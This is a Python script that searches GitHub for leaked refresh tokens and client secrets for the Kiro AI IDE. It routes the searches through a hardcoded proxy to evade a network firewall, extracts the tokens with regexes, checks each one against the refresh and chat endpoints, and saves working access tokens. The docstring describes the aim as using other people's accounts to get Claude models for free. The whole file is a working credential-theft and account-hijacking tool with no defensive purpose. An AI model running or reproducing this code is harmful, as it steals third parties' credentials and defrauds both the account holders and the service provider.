#!/usr/bin/env python3 """Kiro (AWS AI IDE) full hunter. Kiro uses OAuth refresh tokens rather than static API keys. A valid refresh token can be exchanged at https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken for a short-lived access_token, which drives Claude Sonnet/Haiku 4.5 via the q.us-east-1.amazonaws.com/generateAssistantResponse endpoint — for free. Pipeline: 1. GitHub code search (30+ Kiro-specific queries), routed through a CN proxy that can reach api.github.com (GFW blocks it from this host). 2. Fetch raw files and extract: - KIRO_REFRESH_TOKEN / KIRO_ACCESS_TOKEN env values - KIRO_AUTH_TOKEN JSON arrays: [{"auth":"Social","refreshToken":"..."},...] - refreshToken/refresh_token fields in .json/.env/config files near "kiro" 3. Verify each refresh token via the refresh endpoint. 200 + access_token -> USABLE (a fresh access token is the prize) 401 -> DEAD anything else -> kept (NO_ACCESS / UNKNOWN / NO_BALANCE per LO's rule) 4. For USABLE tokens, optionally do a live chat probe to confirm credits. Outputs results/kiro/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt Each USABLE line stores: refreshToken|source|access_token|expires_in|detail """ import argparse import json import os import re import subprocess import sys import time import uuid import urllib.request import urllib.error import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path HERE = Path(__file__).parent RESULTS_DIR = HERE / "results" / "kiro" RESULTS_DIR.mkdir(parents=True, exist_ok=True) EXTRACTED_FILE = RESULTS_DIR / "extracted_tokens.txt" # GitHub API is GFW-blocked; route through a CN proxy known to reach it. GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389") REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken" CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse" UA = "curl/8.5.0" # Kiro refresh tokens are JWTs (eyJ...eyJ...sig with two dots) or long opaque # base64url strings. Must include '.' for JWTs; be permissive but avoid placeholders. TOKEN_RE = re.compile(r"[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}") OPAQUE_RE = re.compile(r"[A-Za-z0-9_\-]{120,}") PLACEHOLDER = ("your-", "example", "xxxx", "placeholder", "changeme", "replace", "dummy", "test-token", "<", "...", "refreshtoken", "accesstoken", "clientid", "clientsecret") SEARCH_QUERIES = [ "KIRO_REFRESH_TOKEN", "KIRO_ACCESS_TOKEN", "KIRO_AUTH_TOKEN", '"kiro.dev/refreshToken"', '"prod.us-east-1.auth.desktop.kiro.dev"', '"auth.desktop.kiro.dev" refreshToken', '"refreshToken" "kiro" extension:json', '"refreshToken" "kiro" extension:env', '"refreshToken" "kiro" extension:yaml', '"refreshToken" "kiro" extension:yml', '"refreshToken" "kiro" extension:toml', '"refresh_token" "kiro" extension:py', '"refresh_token" "kiro" extension:js', '"refresh_token" "kiro" extension:ts', '"refresh_token" "kiro" extension:go', '"kiro" "accessToken" "refreshToken" extension:json', 'KIRO_AUTH_TOKEN extension:env', 'KIRO_AUTH_TOKEN extension:json', 'KIRO_REFRESH_TOKEN extension:env', 'KIRO_REFRESH_TOKEN extension:json', 'KIRO_REFRESH_TOKEN extension:yaml', '"kiro2api" refreshToken', '"kiro" filename:docker-compose', '"KIRO_REFRESH_TOKEN=" filename:.env', '"KIRO_AUTH_TOKEN=" filename:.env', '"kiro" "Social" "refreshToken"', '"kiro" "IdC" "refreshToken" "clientId"', '"q.us-east-1.amazonaws.com"', '"generateAssistantResponse" token', '"KiroIDE" refreshToken', '"kiro-stack" refresh', '"proxykiro" refresh', '"2-api" kiro refreshToken', ] _gh_opener = None def gh_opener(): global _gh_opener if _gh_opener is None: handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({}) _gh_opener = urllib.request.build_opener(handler) return _gh_opener def github_token(): tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN") if tok: return tok try: out = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=10) if out.returncode == 0: return out.stdout.strip() except FileNotFoundError: pass hosts = Path.home() / ".config" / "gh" / "hosts.yml" if hosts.exists(): for line in hosts.read_text().splitlines(): if line.strip().startswith("oauth_token:"): return line.split(":", 1)[1].strip() return None def gh_api_search(query, token, per_page=100): headers = {"Accept": "application/vnd.github+json", "User-Agent": "kiro-hunter"} if token: headers["Authorization"] = f"Bearer {token}" for page in range(1, 11): url = ("https://api.github.com/search/code" f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}") req = urllib.request.Request(url, headers=headers) try: with gh_opener().open(req, timeout=30) as resp: data = json.loads(resp.read()) except urllib.error.HTTPError as e: if e.code in (403, 429): reset = e.headers.get("X-RateLimit-Reset") wait = max(int(reset) - int(time.time()), 5) if reset else 30 print(f" rate-limited, waiting {wait}s...", file=sys.stderr, flush=True) time.sleep(wait + 1) continue if e.code == 422: return print(f" HTTP {e.code} for {query!r}", file=sys.stderr) return except Exception as e: print(f" network error: {e}", file=sys.stderr, flush=True) return items = data.get("items", []) if not items: return for it in items: yield it if len(items) < per_page: return time.sleep(2.2 if token else 7) def to_raw_url(u): return u.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/") def fetch_raw(url): req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) try: with gh_opener().open(req, timeout=20) as resp: return resp.read().decode("utf-8", errors="replace") except Exception: return "" def plausible_token(t): if not t or len(t) < 60: return False low = t.lower() if any(p in low for p in PLACEHOLDER): return False # must look like a JWT (two dots) or a long opaque base64url secret is_jwt = t.count(".") == 2 and all(part for part in t.split(".")) is_opaque = ("." not in t) and len(t) >= 120 and re.fullmatch(r"[A-Za-z0-9_\-]+", t) if not (is_jwt or is_opaque): return False # reject other-provider static keys that are too short / wrong shape if re.fullmatch(r"[a-f0-9]{32}", t): return False if t.startswith("sk-") and len(t) < 60: return False return True def extract_tokens(content): """Return list of (refresh_token, auth_method, client_id, client_secret).""" found = {} # token -> tuple(auth, cid, csec) def add(tok, auth="social", cid=None, csec=None): tok = tok.strip().strip("'\"").rstrip(",;") if plausible_token(tok) and tok not in found: found[tok] = (auth, cid, csec) # 1) KIRO_AUTH_TOKEN JSON array: [{"auth":"Social","refreshToken":"..."}, ...] for m in re.finditer(r"KIRO_AUTH_TOKEN[^A-Za-z0-9]{0,6}(\[.*?\])", content, re.S): chunk = m.group(1) try: arr = json.loads(chunk) except Exception: # try to find JSON objects within arr = [] for obj in re.findall(r"\{[^{}]*\}", chunk): try: arr.append(json.loads(obj)) except Exception: pass for item in arr if isinstance(arr, list) else []: if not isinstance(item, dict): continue rt = item.get("refreshToken") or item.get("refresh_token") if rt: auth = str(item.get("auth", "social")).lower() add(rt, auth, item.get("clientId"), item.get("clientSecret")) # 2) KIRO_REFRESH_TOKEN=... / REFRESH_TOKEN=... (JWT or opaque) for m in re.finditer(r"(?:KIRO_)?REFRESH_TOKEN\s*[=:]\s*['\"]?([A-Za-z0-9_\-\.]+)['\"]?", content): add(m.group(1), "social") # 3) "refreshToken": "..." or refresh_token = "..." (JWTs include dots) for m in re.finditer(r'"?refresh[_Tt]oken"?\s*[=:]\s*"([A-Za-z0-9_\-\.]{60,})"', content): add(m.group(1), "social") # 4) Builder ID / IdC: look for clientId+clientSecret+refreshToken proximity for m in re.finditer(r'\{[^{}]*?"refreshToken"\s*:\s*"([^"]+)"[^{}]*?\}', content, re.S): chunk = m.group(0) cid = re.search(r'"clientId"\s*:\s*"([^"]+)"', chunk) csec = re.search(r'"clientSecret"\s*:\s*"([^"]+)"', chunk) rt = re.search(r'"refreshToken"\s*:\s*"([^"]+)"', chunk) if rt: add(rt.group(1), "idc" if (cid and csec) else "social", cid.group(1) if cid else None, csec.group(1) if csec else None) return [(tok, *meta) for tok, meta in found.items()] def http_post_json(url, body, headers, timeout=30, opener=None): h = {"User-Agent": UA, "Accept": "*/*", "Content-Type": "application/json", **headers} data = json.dumps(body).encode() req = urllib.request.Request(url, data=data, headers=h, method="POST") op = opener or urllib.request.build_opener() try: with op.open(req, timeout=timeout) as resp: return resp.getcode(), resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: try: return e.code, e.read().decode("utf-8", "replace") except Exception: return e.code, "" except Exception as e: return 0, f"network: {type(e).__name__}: {e}" def refresh_social(tok, machine_id): return http_post_json(REFRESH_URL, {"refreshToken": tok}, {"User-Agent": f"KiroIDE-1.6.0-{machine_id}"}) def refresh_idc(tok, cid, csec, region="us-east-1"): url = f"https://oidc.{region}.amazonaws.com/token" return http_post_json(url, { "clientId": cid, "clientSecret": csec, "refreshToken": tok, "grantType": "refresh_token", }, {"x-amz-user-agent": "aws-sdk-js/3.738.0 m/E KiroIDE"}) def chat_probe(access_token, machine_id): """Minimal generateAssistantResponse request; classify by HTTP code.""" conv = str(uuid.uuid4()) cont = str(uuid.uuid4()) body = { "conversationState": { "agentContinuationId": cont, "agentTaskType": "vibe", "chatTriggerType": "MANUAL", "conversationId": conv, "currentMessage": { "userInputMessage": { "content": "hi", "modelId": "claude-haiku-4.5", "origin": "AI_EDITOR", } }, "history": [], } } headers = { "x-amzn-codewhisperer-optout": "true", "x-amzn-kiro-agent-mode": "vibe", "Authorization": f"Bearer {access_token}", "Host": "q.us-east-1.amazonaws.com", "amz-sdk-invocation-id": str(uuid.uuid4()), "amz-sdk-request": "attempt=1; max=1", "User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{machine_id}", } # chat goes through the proxy too (amazonaws may be flaky from CN) op = gh_opener() return http_post_json(CHAT_URL, body, headers, timeout=40, opener=op) RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0} def verify_token(row): """row = (refresh_token, auth, cid, csec, source).""" tok, auth, cid, csec, src = row machine_id = uuid.uuid4().hex # 1. refresh if auth in ("idc", "builder-id", "builder_id") and cid and csec: code, body = refresh_idc(tok, cid, csec) else: code, body = refresh_social(tok, machine_id) access = None expires = None if code == 200: try: j = json.loads(body) access = j.get("accessToken") or j.get("access_token") expires = j.get("expiresIn") or j.get("expires_in") except Exception: pass if access: # 2. live chat probe (best effort) ccode, cbody = chat_probe(access, machine_id) if ccode == 200: return "USABLE", f"refresh OK ({expires}s); chat 200", access, expires if ccode in (402, 429): return "NO_BALANCE", f"refresh OK; chat {ccode} (quota/rate): {cbody[:120]}", access, expires if ccode == 401: # access token rejected despite refresh — odd; keep as no_access return "NO_ACCESS", f"refresh OK; chat 401: {cbody[:120]}", access, expires if ccode == 0: return "NO_ACCESS", f"refresh OK; chat net: {cbody[:120]}", access, expires return "NO_ACCESS", f"refresh OK; chat HTTP {ccode}: {cbody[:120]}", access, expires else: return "NO_ACCESS", f"refresh 200 but no access_token: {body[:140]}", None, None if code == 401: return "DEAD", f"refresh 401: {body[:120]}", None, None if code in (400, 403): # 400 = malformed/revoked shape; 403 = disabled. Keep if not explicit 401. return "NO_ACCESS", f"refresh {code}: {body[:140]}", None, None if code in (402, 429): return "NO_BALANCE", f"refresh {code}: {body[:140]}", None, None if code == 0: return "UNKNOWN", body[:160], None, None return "NO_ACCESS", f"refresh HTTP {code}: {body[:140]}", None, None def main(): ap = argparse.ArgumentParser() ap.add_argument("--verify-only", action="store_true") ap.add_argument("--workers", type=int, default=15) ap.add_argument("--limit", type=int, default=0) args = ap.parse_args() tokens = {} # refresh_token -> (auth, cid, csec, source) if args.verify_only and EXTRACTED_FILE.exists(): for line in EXTRACTED_FILE.read_text().splitlines(): parts = line.split("|") if len(parts) >= 5: tok, auth, cid, csec, src = parts[0], parts[1], parts[2], parts[3], parts[4] tokens[tok] = (auth, cid or None, csec or None, src) print(f"--verify-only: {len(tokens)} tokens") else: token = github_token() print(f"GH proxy: {GH_PROXY or 'none'}; token: {'yes' if token else 'NO'}") print("\n=== Stage 1: GitHub search ===") candidates = {} for i, q in enumerate(SEARCH_QUERIES, 1): print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}", flush=True) try: for it in gh_api_search(q, token): u = it.get("html_url", "") if u and u not in candidates: candidates[u] = it.get("repository", {}).get("full_name", "?") except Exception as e: print(f" error: {e}", file=sys.stderr) print(f" candidate files: {len(candidates)}") print("\n=== Stage 2: fetch raw & extract refresh tokens ===") fetched = 0 with ThreadPoolExecutor(max_workers=20) as pool: futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates} for fut in as_completed(futs): u = futs[fut] fetched += 1 try: content = fut.result() except Exception: content = "" for tok, auth, cid, csec in extract_tokens(content): if tok not in tokens: tokens[tok] = (auth, cid, csec, u) if fetched % 100 == 0: print(f" fetched {fetched}/{len(candidates)}, tokens={len(tokens)}", flush=True) print(f" unique refresh tokens: {len(tokens)}") with open(EXTRACTED_FILE, "w") as f: for tok, (auth, cid, csec, src) in sorted(tokens.items()): f.write(f"{tok}|{auth}|{cid or ''}|{csec or ''}|{src}\n") rows = [(tok, *meta) for tok, meta in tokens.items()] if args.limit > 0: rows = rows[:args.limit] print(f"\n=== Stage 3: verify {len(rows)} tokens (workers={args.workers}) ===") buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []} start = time.time() done = 0 with ThreadPoolExecutor(max_workers=args.workers) as pool: futs = {pool.submit(verify_token, r): r for r in rows} for fut in as_completed(futs): r = futs[fut] tok, auth, cid, csec, src = r done += 1 try: v, detail, access, expires = fut.result() except Exception as e: v, detail, access, expires = "UNKNOWN", f"exc:{e}", None, None buckets[v].append((tok, src, auth, access, expires, detail)) if done % 20 == 0: el = time.time() - start print(f" [{done:4d}/{len(rows)}] " + " ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets) + f" ({done/el:.1f}/s)", flush=True) for name, items in buckets.items(): path = RESULTS_DIR / f"{name.lower()}.txt" with open(path, "w") as f: for tok, src, auth, access, expires, detail in items: f.write(f"{tok}|{src}|auth={auth}|access={access or ''}|expires={expires or ''}|{detail}\n") print(f" {name:11s}: {len(items):4d} -> {path.name}") with open(RESULTS_DIR / "all_non_401.txt", "w") as f: for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"): for tok, src, auth, access, expires, detail in buckets[name]: f.write(f"{name}|{tok}|{src}|auth={auth}|access={access or ''}|{detail}\n") if buckets["USABLE"]: print("\n=== USABLE KIRO TOKENS (free Claude Sonnet/Haiku 4.5!) ===") for tok, src, auth, access, expires, detail in buckets["USABLE"]: print(f" refresh: {tok[:40]}...{tok[-8:]}") print(f" access : {access[:50] if access else '?'}... (expires_in={expires}s)") print(f" src : {src}") print(f" {detail}\n") if __name__ == "__main__": main()